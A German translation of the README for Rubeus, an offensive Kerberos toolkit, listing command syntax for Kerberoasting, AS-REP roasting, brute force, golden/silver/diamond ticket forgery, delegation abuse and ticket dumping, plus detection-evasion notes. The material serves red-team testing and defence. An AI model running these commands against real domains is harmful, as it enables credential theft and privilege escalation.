
Versuch, den dreiköpfigen Hund zu zähmen.
Rubeus ist ein C#-Werkzeugsatz für rohe Kerberos-Interaktion und -Missbrauch. Er ist stark adaptiert von Benjamin Delpy's Kekeo Projekt (CC BY-NC-SA 4.0 Lizenz) und Vincent LE TOUX's MakeMeEnterpriseAdmin Projekt (GPL v3.0 Lizenz). Die volle Anerkennung gebührt Benjamin und Vincent für die Ausarbeitung der schwierigen Komponenten der Waffenlegung – ohne ihre Vorarbeit würde dieses Projekt nicht existieren.
Charlie Clark und Ceri Coburn haben beide bedeutende Beiträge als Co-Entwickler zur Rubeus-Codebasis geleistet. Elad Shamir hat wesentliche Arbeit für die ressourcenbasierte eingeschränkte Delegation beigetragen. Ihre Arbeit wird sehr geschätzt!
Rubeus verwendet außerdem eine C# ASN.1-Parsing-/Kodierungsbibliothek von Thomas Pornin namens DDer, die unter einer "MIT-ähnlichen" Lizenz veröffentlicht wurde. Großer Dank an Thomas für seinen sauberen und stabilen Code!
PKINIT-Code stark adaptiert von @SteveSyfuhs's Bruce-Tool. Bruce hat RFC4556 (PKINIT) viel verständlicher gemacht. Großer Dank an Steve!
NDR-Kodierung und -Dekodierung für Kerberos PAC basiert auf der NtApiDotNet-Bibliothek von @tiraniddo, danke James.
Die KerberosRequestorSecurityToken.GetRequest-Methode für Kerberoasting wurde von @machosec zu PowerView beigetragen (und dann in Rubeus integriert).
@harmj0y ist der Hauptautor dieser Codebasis.
Rubeus ist unter der BSD-3-Klausel-Lizenz lizenziert.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Ticketanforderungen und -verlängerungen:
Ein TGT basierend auf einem Benutzerpasswort/-hash abrufen, optional in einer Datei speichern oder auf die aktuelle Anmeldesitzung oder eine bestimmte LUID anwenden:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT basierend auf einem Benutzerpasswort/-hash abrufen, optional in einer Datei speichern oder auf die aktuelle Anmeldesitzung oder eine bestimmte LUID anwenden:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT basierend auf einem Benutzerpasswort/-hash abrufen, einen /netonly-Prozess starten und das Ticket auf den neuen Prozess/die neue Anmeldesitzung anwenden:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT unter Verwendung eines PCKS12-Zertifikats abrufen, einen /netonly-Prozess starten und das Ticket auf den neuen Prozess/die neue Anmeldesitzung anwenden:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT unter Verwendung eines Zertifikats aus dem Benutzer-Zertifikatsspeicher (Smartcard) unter Angabe des Zertifikat-Fingerprints oder -Betreffs abrufen, einen /netonly-Prozess starten und das Ticket auf den neuen Prozess/die neue Anmeldesitzung anwenden:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Ein TGT abrufen, das zum Ändern eines Kontos mit abgelaufenem Passwort mit dem changepw-Befehl geeignet ist
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Ein TGT ohne Senden von Pre-Auth-Daten anfordern:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein Dienstticket unter Verwendung einer AS-REQ anfordern:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein Dienstticket für einen oder mehrere SPNs abrufen, optional das Ticket speichern oder anwenden:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Ein Dienstticket unter Verwendung der Kerberos-Key-List-Request-Optionen abrufen:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Ein delegiertes verwaltetes Dienstkonto-Ticket abrufen:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Ein TGT verlängern, optional das Ticket anwenden, speichern oder das Ticket bis zu seiner Erneuerungsgrenze automatisch verlängern:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Einen Kerberos-basierten Passwort-Brute-Force-Angriff durchführen:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Einen Scan nach Konten durchführen, die keine Vorauthentifizierung erfordern:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Missbrauch eingeschränkter Delegation:
S4U-Missbrauch eingeschränkter Delegation durchführen:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
S4U-Missbrauch eingeschränkter Delegation über Domänen hinweg durchführen:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Ticketfälschung:
Ein Golden Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Ein Golden Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln, aber einige Werte explizit überschreiben:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Golden Ticket fälschen, Werte explizit setzen:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Silver Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Silver Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln, unter Verwendung des KRBTGT-Schlüssels zur Berechnung der KDCChecksum und TicketChecksum:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Silver Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln, aber einige Werte explizit überschreiben:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Silver Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln, einschließlich eines S4U-Delegation-Info-PAC-Abschnitts:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Silver Ticket unter Verwendung von LDAP fälschen, um die relevanten Informationen zu sammeln, und einen anderen cname und crealm setzen:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Silver Ticket fälschen, Werte explizit setzen:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Ein Diamond TGT fälschen, indem ein TGT basierend auf einem Benutzerpasswort/-hash angefordert wird:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Ein Diamond TGT fälschen, indem ein TGT unter Verwendung eines PCKS12-Zertifikats angefordert wird:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Ein Diamond TGT fälschen, indem ein TGT mit tgtdeleg angefordert wird:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Ticketverwaltung:
Ein TGT einreichen, optional für eine bestimmte LUID (mit erhöhten Rechten):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Tickets aus der aktuellen Anmeldesitzung löschen, optional für eine bestimmte LUID (mit erhöhten Rechten):
Rubeus.exe purge [/luid:LOGINID]
Ein Ticket (Dienstticket oder TGT) parsen und beschreiben:
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
Ticketextraktion und -ernte:
Alle aktuellen Tickets sichten (mit erhöhten Rechten, für alle Benutzer auflisten), optional für eine bestimmte LUID, Benutzername oder Dienst:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Alle aktuellen Tickets detailliert auflisten (mit erhöhten Rechten, für alle Benutzer), optional für eine bestimmte LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Alle aktuellen Ticketdaten ausgeben (mit erhöhten Rechten, für alle Benutzer), optional für einen bestimmten Dienst/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Ein brauchbares TGT .kirbi für den aktuellen Benutzer (mit Sitzungsschlüssel) ohne erhöhte Rechte abrufen, indem die Kerberos GSS-API missbraucht und Delegation vorgetäuscht wird:
Rubeus.exe tgtdeleg [/target:SPN]Überwache alle /interval SEKUNDEN (Standard 60) auf neue TGTs:
Rubeus.exe monitor [/interval:SEKUNDEN] [/targetuser:BENUTZER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SEKUNDEN]
Überwache alle /monitorinterval SEKUNDEN (Standard 60) auf neue TGTs, erneuere TGTs automatisch und zeige den funktionierenden Cache alle /displayinterval SEKUNDEN (Standard 1200):
Rubeus.exe harvest [/monitorinterval:SEKUNDEN] [/displayinterval:SEKUNDEN] [/targetuser:BENUTZER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SEKUNDEN]
Roasting:
Kerberoasting durchführen:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Kerberoasting durchführen und Hashes in eine Datei ausgeben:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU=,..."] [/ldaps]
Kerberoasting durchführen, Hashes im Dateiausgabeformat, aber auf der Konsole ausgeben:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Kerberoasting mit alternativen Anmeldeinformationen durchführen:
Rubeus.exe kerberoast /creduser:DOMÄNE.FQDN\BENUTZER /credpassword:PASSWORT [/spn:"blah/blah"] [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Kerberoasting mit einem vorhandenen TGT durchführen:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Kerberoasting mit einem vorhandenen TGT unter Verwendung eines Enterprise-Principals durchführen:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Kerberoasting mit einem vorhandenen TGT und automatischem Wiederholungsversuch mit dem Enterprise-Principal durchführen, falls ein Fehler auftritt:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
Kerberoasting mit dem tgtdeleg-Ticket durchführen, um Service-Tickets anzufordern – fordert RC4 für AES-Konten an:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
„Opsec"-Kerberoasting durchführen, unter Verwendung von tgtdeleg und Ausschluss von AES-fähigen Konten:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
Statistiken über gefundene Kerberoastable-Konten auflisten, ohne tatsächliche Ticket-Anfragen zu senden:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Kerberoasting durchführen, Tickets nur für Konten mit Admin-Count 1 anfordern (benutzerdefinierter LDAP-Filter):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Kerberoasting durchführen, Tickets nur für Konten anfordern, deren Passwort zuletzt zwischen dem 31.01.2005 und dem 29.03.2010 geändert wurde, maximal 5 Service-Tickets zurückgeben:
Rubeus.exe kerberoast /pwdsetafter:31-01-2005 /pwdsetbefore:29-03-2010 /resultlimit:5 [/ldaps] [/nowrap]
Kerberoasting mit einer Verzögerung von 5000 Millisekunden und einem Jitter von 30 % durchführen:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
AES-Kerberoasting durchführen:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Kerberoasting mit einem Konto ohne Pre-Auth durchführen, indem AS-REQs gesendet werden:
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:BENUTZER /domain:DOMÄNE [/dc:DOMÄNENCONTROLLER] [/nowrap]
AS-REP „Roasting" für alle Benutzer ohne Preauth durchführen:
Rubeus.exe asreproast [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
AS-REP „Roasting" für alle Benutzer ohne Preauth durchführen, Ausgabe im Hashcat-Format in eine Datei:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]
AS-REP „Roasting" für alle Benutzer ohne Preauth mit alternativen Anmeldeinformationen durchführen:
Rubeus.exe asreproast /creduser:DOMÄNE.FQDN\BENUTZER /credpassword:PASSWORT [/user:BENUTZER] [/domain:DOMÄNE] [/dc:DOMÄNENCONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
Verschiedenes:
Ein verstecktes Programm (außer wenn /show übergeben wird) mit zufälligen /netonly-Anmeldeinformationen erstellen, PID und LUID anzeigen:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
Passwort eines Benutzers aus einem bereitgestellten TGT zurücksetzen (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORT [/dc:DOMÄNENCONTROLLER] [/targetuser:DOMÄNE\BENUTZERNAME]
rc4_hmac-, aes128_cts_hmac_sha1-, aes256_cts_hmac_sha1- und des_cbc_md5-Hashes berechnen:
Rubeus.exe hash /password:X [/user:BENUTZER] [/domain:DOMÄNE]
Einen Sname oder SPN in ein vorhandenes Service-Ticket einsetzen:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMÄNE] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMÄNE] [/ptt] [/luid] [/nowrap]
LUID des aktuellen Benutzers anzeigen:
Rubeus.exe currentluid
Informationen über die (aktuelle) oder (Ziel-) Anmeldesitzung anzeigen, Standard alle lesbaren:
Rubeus.exe logonsession [/current] [/luid:X]
Das Argument "/consoleoutfile:C:\FILE.txt" leitet die gesamte Konsolenausgabe in die angegebene Datei um.
Das Flag "/nowrap" verhindert, dass Base64-Ticket-Blobs für jede Funktion umgebrochen werden.
Das Flag "/debug" gibt ASN.1-Debuginformationen aus.
Ein AS-REP und einen Schlüssel in ein Kirbi konvertieren:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | DATEIPFAD> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Neuen DES-Sitzungsschlüssel in ein Kirbi einfügen:
Rubeus.exe kirbi /kirbi:<BASE64 | DATEIPFAD> /sessionkey:SITZUNGSSCHLÜSSEL /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:DATEINAME] [/nowrap]
HINWEIS: Base64-Ticket-Blobs können mit folgendem Befehl decodiert werden:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
Dieser Abschnitt enthält einige Hinweise zur operationellen Sicherheit bei der Verwendung von Rubeus in einer Umgebung, mit technischen Beispielen, die einige seiner Ansätze mit Mimikatz vergleichen/gegenüberstellen. Das Material wird in Zukunft erweitert.
Jede Aktion, die Sie auf einem System durchführen, ist ein erkennbares Risiko, insbesondere wenn Sie Funktionen auf „seltsame"/nicht beabsichtigte Weise missbrauchen. Rubeus (wie jedes Angreifer-Toolset) kann auf verschiedene Weise erkannt werden, entweder vom Host, vom Netzwerk oder von der Domäne aus. Ich habe einen Arbeitskollegen, der gerne sagt „Alles ist heimlich, bis jemand danach sucht" – Tools und Techniken entgehen der Erkennung im Allgemeinen, weil a) die Leute nicht ausreichend über das Tool/die Technik informiert sind und daher nicht einmal danach suchen, b) die Leute die erforderlichen Daten nicht in angemessenem Umfang sammeln und verarbeiten können, oder c) das Tool/die Technik mit dem vorhandenen Verhalten verschmilzt, um in einer Umgebung ausreichend mit Fehlalarmen durchzukommen. Weitere Informationen zu diesen Schritten und zur Umgehung von Erkennungen im Allgemeinen finden Sie in Matt Graebers und Lee Christensens Black-Hat-USA-2018-Vortrag „Subverting Sysmon“ und dem dazugehörigen Whitepaper.
Aus Host-Perspektive kann Rubeus während der anfänglichen Weaponization des Codes selbst erkannt werden, durch einen abnormalen (nicht lsass.exe) Prozess, der rohen Kerberos-Port-88-Verkehr aussendet, durch die Verwendung sensitiver APIs wie LsaCallAuthenticationPackage() oder durch abnormale Tickets, die auf dem Host vorhanden sind (z. B. Verwendung von rc4_hmac in Tickets in einer modernen Umgebung).
